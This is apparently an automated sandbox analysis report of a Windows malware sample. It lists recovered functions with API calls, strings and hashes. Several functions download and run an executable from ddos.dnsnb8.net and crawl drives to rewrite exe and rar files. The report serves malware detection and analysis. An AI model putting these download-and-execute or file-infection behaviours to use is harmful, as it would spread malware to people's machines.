Part of subcall function 0040E8D0: __getptd_noexit.LIBCMTD ref: 0040E8D6
Part of subcall function 0040E8D0: __amsg_exit.LIBCMTD ref: 0040E8E6

__getptd.LIBCMTD ref: 0041E10B
___DestructExceptionObject.LIBCMTD ref: 0041E178

Strings

csm, xrefs: 0041E11C

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __getptd$DestructExceptionObject__amsg_exit__getptd_noexit
String ID: csm
API String ID: 4182212180-1018135373
Opcode ID: d063e6294b0a945f14850c2d9c83c087f953052ae082443073d5c9b22b5691b5
Instruction ID: 50ffe1f5ebb10660e027fc4036202a688e7224dba726341d0ef2437f53eb5db5
Opcode Fuzzy Hash: d063e6294b0a945f14850c2d9c83c087f953052ae082443073d5c9b22b5691b5
Instruction Fuzzy Hash: F7112878A01208BBDB14DF56D4449DA7BB6BF54304F54846AE8084B342D739DEC2CBD5

Function 0228A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0228A858
_memset.LIBCMT ref: 0228A869
_memset.LIBCMT ref: 0228A87A

Strings

p2Q, xrefs: 0228A882

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 8bcbb12810dcfcd8aa047bbed23bb45ef88040b1ccc6216631bee556e3278d40
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 82F0E578694750A5F711B794BC267857D917B31F09F104044E1142E2E5D3FD234C67D9

Function 022BFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022BFBF1

Part of subcall function 022A169C: std::exception::_Copy_str.LIBCMT ref: 022A16B5

__CxxThrowException@8.LIBCMT ref: 022BFC06

Strings

TeM, xrefs: 022BFBFE
TeM, xrefs: 022BFBFB, 022BFBE7

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 96a48444423abe55661f6933b88bc85d8598bda2cc1fc3fefa888bcfb72c5b97
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 0DD06775C0030CBBCB04EFA5D459CDDBBB9AA04744F408466A91897645EA74A3598F94

Function 0227D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0229197D: __wfsopen.LIBCMT ref: 02291988

_fgetws.LIBCMT ref: 0227D15C

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 8ddc881c30c1524ca1dbb2db9ad9a51284ef6ed643259b56c5e1d3223a5992bb
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: E591E271D2431AABCF20DFE4CD84BAEB7B5BF14304F140529E819A7244E7B5AA14CFA5

Function 0227D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0227D77E
_malloc.LIBCMT ref: 0227D7B2
_malloc.LIBCMT ref: 0227D7C1
_fprintf.LIBCMT ref: 0227D815

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: eff03cc3754a7b6ccf2a070718eb33511f3ec099016bcbedb12b9e6640c13059
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: E2A17EB0C14349EBEF11EFE4CC45BDEBB76AF14308F240128D4057A295DBB65A48CBA6

Function 02292AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02292B2E
__read_nolock.LIBCMT ref: 02292BFE
__filbuf.LIBCMT ref: 02292C21
_memset.LIBCMT ref: 02292C65

Part of subcall function 02295BA8: __getptd_noexit.LIBCMT ref: 02295BA8

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: ead5751f76a69fd4ccd7e7ff4e463bfc518b11b69398ce2830e7b754bcd1598b
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 70519171A20306EBDF298FF988906AEB7F6BF40324F148729EC35962D8D7719955CB40

Function 022B1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 022B137D

Part of subcall function 022B1A9D: __fltout2.LIBCMT ref: 022B1AC6

__cftog_l.LIBCMT ref: 022B13A3
__cftoe_l.LIBCMT ref: 022B13D5

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 4a7a78a3e1cec30622d0951e0ba7fbd86f4890a0d9c3fd2f3ea5a9450479b3fc
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 2301393242024ABBCF135EC4DC218EE3F62BF19394B488415FA5998438E376C5B1AB81

Function 02337A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02337A4B

Part of subcall function 02338140: ___BuildCatchObjectHelper.LIBCMT ref: 02338172
Part of subcall function 02338140: ___AdjustPointer.LIBCMT ref: 02338189

_UnwindNestedFrames.LIBCMT ref: 02337A62
___FrameUnwindToState.LIBCMT ref: 02337A74
CallCatchBlock.LIBCMT ref: 02337A98

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 246073bdd8047b0e350e7de584c6e6efd063fc8befe1018b4329495140abd839
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: D3011732400109BBCF23AF55CC01EEA7BBAEF48754F148014F91866220C332EAA1DFA0

Analysis Process: lvAVrO.exePID: 7840, Parent PID: 7816COMMON

Execution Graph

Execution Coverage:	32%
Dynamic/Decrypted Code Coverage:	10.4%
Signature Coverage:	12.8%
Total number of Nodes:	297
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 006029E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00602A02
wsprintfA.USER32 ref: 00602A1A
memset.MSVCRT ref: 00602A44
lstrlen.KERNEL32(?), ref: 00602A54
lstrcpyn.KERNEL32(?,?,-00000001), ref: 00602A6C
strrchr.MSVCRT ref: 00602A7C
lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00602A9F
lstrlen.KERNEL32(Documents and Settings), ref: 00602AAE
memset.MSVCRT ref: 00602AC6
memset.MSVCRT ref: 00602ADA
FindFirstFileA.KERNEL32(?,?), ref: 00602AEF
memset.MSVCRT ref: 00602B13
lstrcmpiA.KERNEL32(?,?), ref: 00602B42
FindNextFileA.KERNEL32(00000000,?,?,?,?), ref: 00602B67
FindClose.KERNEL32(00000000), ref: 00602B6E

Strings

%s*, xrefs: 00602A14
Documents and Settings, xrefs: 00602A8D, 00602A92, 00602A9A, 00602AAD
C:\, xrefs: 00602A2F

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
String ID: %s*$C:\$Documents and Settings
API String ID: 2826467728-110786608
Opcode ID: 5ec85e87ca71e705845db86940e3756635ee937243876b2b599fd21d63f7c3e4
Instruction ID: 10beecf308e87efc0960a8bfd20b17504adc0060a545d21f50d7e4fd7f25fe8e
Opcode Fuzzy Hash: 5ec85e87ca71e705845db86940e3756635ee937243876b2b599fd21d63f7c3e4
Instruction Fuzzy Hash: D14174B248534AAFD721DBA0DC8DDDB77ADEF84315F04082AF545C2251E634DA4887A6

Function 00601099 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 74
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0060185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,77068400,http://%s:%d/%s/%s,?,?,?,00601118), ref: 00601867
Part of subcall function 0060185B: srand.MSVCRT ref: 00601878
Part of subcall function 0060185B: rand.MSVCRT ref: 00601880
Part of subcall function 0060185B: srand.MSVCRT ref: 00601890
Part of subcall function 0060185B: rand.MSVCRT ref: 00601894

WinExec.KERNEL32(?,00000005), ref: 006010F1
lstrlen.KERNEL32(00604748), ref: 006010FA
wsprintfA.USER32 ref: 0060112A
wsprintfA.USER32 ref: 00601143
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0060115B
lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 00601169
Sleep.KERNEL32 ref: 00601179

Strings

HG`, xrefs: 0060112C
C:\Users\user\AppData\Local\Temp\, xrefs: 00601119
ddos.dnsnb8.net, xrefs: 006010C8, 006010CF, 00601140, 00601168
cj/, xrefs: 00601135
%s%.8X.exe, xrefs: 00601124
http://%s:%d/%s/%s, xrefs: 006010C2, 00601141

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
String ID: %s%.8X.exe$C:\Users\user\AppData\Local\Temp\$HG`$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1280626985-2763443517
Opcode ID: 9fe820d53dc6c72041a60079470c1ea3cb7aeca2daa53bf6f696b5636abec34d
Instruction ID: 0d0f523fac0b0b4218b5c13c35493219910a0ab8e3da90c79f5f3e975c10ff13
Opcode Fuzzy Hash: 9fe820d53dc6c72041a60079470c1ea3cb7aeca2daa53bf6f696b5636abec34d
Instruction Fuzzy Hash: 7021A3B1981218BADB28DBA0DC44FEFBB7FEB16305F114099E201A6190DB745B84CF60

Function 00606076 Relevance: 14.6, APIs: 7, Strings: 1, Instructions: 616
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00001800,00001000,00000004), ref: 006060BE
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 006060DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00606189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 006061A5

Strings

kernel32.dll, xrefs: 006064A7

Memory Dump Source

Source File: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: kernel32.dll
API String ID: 2087232378-1793498882
Opcode ID: ca35d95be793d0f907ff5bb1333dd5041328ddb19e34f90e66a1bac555cb5158
Instruction ID: 9f3c9347e8dd69cecaa19651f6c8c3460d0ee2192ace00d858bfc6079dd42bd8
Opcode Fuzzy Hash: ca35d95be793d0f907ff5bb1333dd5041328ddb19e34f90e66a1bac555cb5158
Instruction Fuzzy Hash: 031235B25887859FDB3A8F24CC45BEB3BB2EF02310F18459DF8858B2D2D674A921C755

Function 00601718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\lvAVrO.exe), ref: 00601729
SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 0060174C
SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 0060177C
__aulldiv.LIBCMT ref: 00601796
__aulldiv.LIBCMT ref: 006017A8

Strings

SOFTWARE\GTplus, xrefs: 00601742, 0060176B
Time, xrefs: 0060173D, 00601766
C:\Users\user\AppData\Local\Temp\lvAVrO.exe, xrefs: 00601722

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: TimeValue__aulldiv$FileSystem
String ID: C:\Users\user\AppData\Local\Temp\lvAVrO.exe$SOFTWARE\GTplus$Time
API String ID: 541852442-771227440
Opcode ID: dbeebfbd7e5210d61e55e9f205ac5bec289df0602f10f760b4c9cff46c0b2202
Instruction ID: 25c49279c03517b3645491760fa5fea001d36b84a7cfa6db8403c8e31bc50a69
Opcode Fuzzy Hash: dbeebfbd7e5210d61e55e9f205ac5bec289df0602f10f760b4c9cff46c0b2202
Instruction Fuzzy Hash: BF11CB71AC0219BBDB149B94CCC9FEF7BBEEB05B11F108415F900B62C1D6709A44C760

Function 00602B8C Relevance: 10.6, APIs: 7, Instructions: 74
threadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00602BA6
GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 00602BB4
GetDriveTypeA.KERNEL32(?), ref: 00602BD3
CreateThread.KERNEL32(00000000,00000000,00602B7D,?,00000000,00000000), ref: 00602BEE
lstrlen.KERNEL32(?), ref: 00602BFB
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 00602C16
CreateThread.KERNEL32(00000000,00000000,00602845,00000000,00000000,00000000), ref: 00602C3A

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
String ID:
API String ID: 1073171358-0
Opcode ID: b321a2878ae4f88d1e6728a4ec9ea1e620288a1db8106f70ce7f8d0d63eb4b42
Instruction ID: 25a1859dcb993e3a2a2963cb4d8af4d205fddc4f6a322ca5554f94b460c5b9b1
Opcode Fuzzy Hash: b321a2878ae4f88d1e6728a4ec9ea1e620288a1db8106f70ce7f8d0d63eb4b42
Instruction Fuzzy Hash: 8D21D2B18C015EAFE7249F64AC88DEF7B6FFF04349B250129F94292291D7308E06CB60

Function 00601E6E Relevance: 44.1, APIs: 20, Strings: 5, Instructions: 380
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,006032B0,00000164,00602986,?), ref: 00601EB9
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 00601ECD
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 00601EF3
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 00601F07
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000400), ref: 00601F1D
FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 0060201E
memset.MSVCRT ref: 006020D8
memset.MSVCRT ref: 006020EA
memcpy.MSVCRT ref: 0060222D
UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00602238
FindCloseChangeNotification.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0060224A
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006022C6
SetEndOfFile.KERNEL32(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006022CB
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006022DD
WriteFile.KERNEL32(000000FF,00604008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006022F7
WriteFile.KERNEL32(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0060230D
CloseHandle.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00602322
UnmapViewOfFile.KERNEL32(?,?,006032B0,00000164,00602986,?), ref: 00602340
FindCloseChangeNotification.KERNEL32(?,?,006032B0,00000164,00602986,?), ref: 0060234E
FindCloseChangeNotification.KERNEL32(000000FF,?,006032B0,00000164,00602986,?), ref: 00602359

Strings

<@`, xrefs: 00602290
C@`, xrefs: 0060229E
5@`, xrefs: 00602282
m@`, xrefs: 00601E8F, 0060225A
.@`, xrefs: 00602274

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: File$CloseView$ChangeFindNotificationPointer$CreateUnmapWritememset$AttributesFlushHandleMappingmemcpy
String ID: .@`$5@`$<@`$C@`$m@`
API String ID: 307705342-1698825466
Opcode ID: a575e98895fe52a61e508b53881ee6a3089f4084a12695bb8c6bea5610812a70
Instruction ID: 02cbebc4235524e51de63eb6670cebffa785913627911dde7bd8c1f740116a95
Opcode Fuzzy Hash: a575e98895fe52a61e508b53881ee6a3089f4084a12695bb8c6bea5610812a70
Instruction Fuzzy Hash: 2EF18070980219EFDB28DFA4DC94AAEBBB6FF08304F10452DE51AAB691D734AD41CF54

Function 00601973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.SHLWAPI(\N``N`,00000000,C:\Users\user\AppData\Local\Temp\lvAVrO.exe), ref: 00601992
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 006019BA
Sleep.KERNEL32(00000064), ref: 006019C6
wsprintfA.USER32 ref: 006019EC
CopyFileA.KERNEL32(?,?,00000000), ref: 00601A00
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00601A1E
GetFileSize.KERNEL32(?,00000000), ref: 00601A2C
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00601A46
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00601A65
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00601A90
DeleteFileA.KERNEL32(?), ref: 00601AA7
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00601AC1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 006019DB
C:\Users\user\AppData\Local\Temp\lvAVrO.exe, xrefs: 0060197C
%s%.8X.data, xrefs: 006019E6
\N``N`, xrefs: 00601980

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: File$CreateVirtual$AllocChangeCloseCopyDeleteExistsFindFreeNotificationPathReadSizeSleepwsprintf
String ID: %s%.8X.data$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\lvAVrO.exe$\N``N`
API String ID: 2523042076-3580675607
Opcode ID: 840e67c3a757dbbbb9c6845613426a46959829aac76607abebece703eb81a151
Instruction ID: 7196fbd038c13b65c637c7737548b7fbbbeeaf15d14593718b1862c423022716
Opcode Fuzzy Hash: 840e67c3a757dbbbb9c6845613426a46959829aac76607abebece703eb81a151
Instruction Fuzzy Hash: 4D515E71A81219EFDB149F98CC84AEFBBBEEB06355F104569F516EA2D0D3709E40CB60

Function 006028B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 006028D3
wsprintfA.USER32 ref: 006028F7
memset.MSVCRT ref: 00602925
wsprintfA.USER32 ref: 00602940

Part of subcall function 006029E2: memset.MSVCRT ref: 00602A02
Part of subcall function 006029E2: wsprintfA.USER32 ref: 00602A1A
Part of subcall function 006029E2: memset.MSVCRT ref: 00602A44
Part of subcall function 006029E2: lstrlen.KERNEL32(?), ref: 00602A54
Part of subcall function 006029E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 00602A6C
Part of subcall function 006029E2: strrchr.MSVCRT ref: 00602A7C
Part of subcall function 006029E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00602A9F
Part of subcall function 006029E2: lstrlen.KERNEL32(Documents and Settings), ref: 00602AAE
Part of subcall function 006029E2: memset.MSVCRT ref: 00602AC6
Part of subcall function 006029E2: memset.MSVCRT ref: 00602ADA
Part of subcall function 006029E2: FindFirstFileA.KERNEL32(?,?), ref: 00602AEF
Part of subcall function 006029E2: memset.MSVCRT ref: 00602B13

strrchr.MSVCRT ref: 00602959
lstrcmpiA.KERNEL32(00000001,exe), ref: 00602974

Strings

rar, xrefs: 00602988
%s\, xrefs: 0060293A
%s%s, xrefs: 006028F1
C:\Users\user\AppData\Local\Temp\, xrefs: 006029B3
exe, xrefs: 0060296D

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
String ID: %s%s$%s\$C:\Users\user\AppData\Local\Temp\$exe$rar
API String ID: 3004273771-1101464738
Opcode ID: 04c622614df1ef9a20dd16420e5aff988813ddaf61fccaaa15c940e849f2081f
Instruction ID: 4c163d2ab201fc8d5490830fbb5b10f906210f8132c1ed8561c441606dcee9bb
Opcode Fuzzy Hash: 04c622614df1ef9a20dd16420e5aff988813ddaf61fccaaa15c940e849f2081f
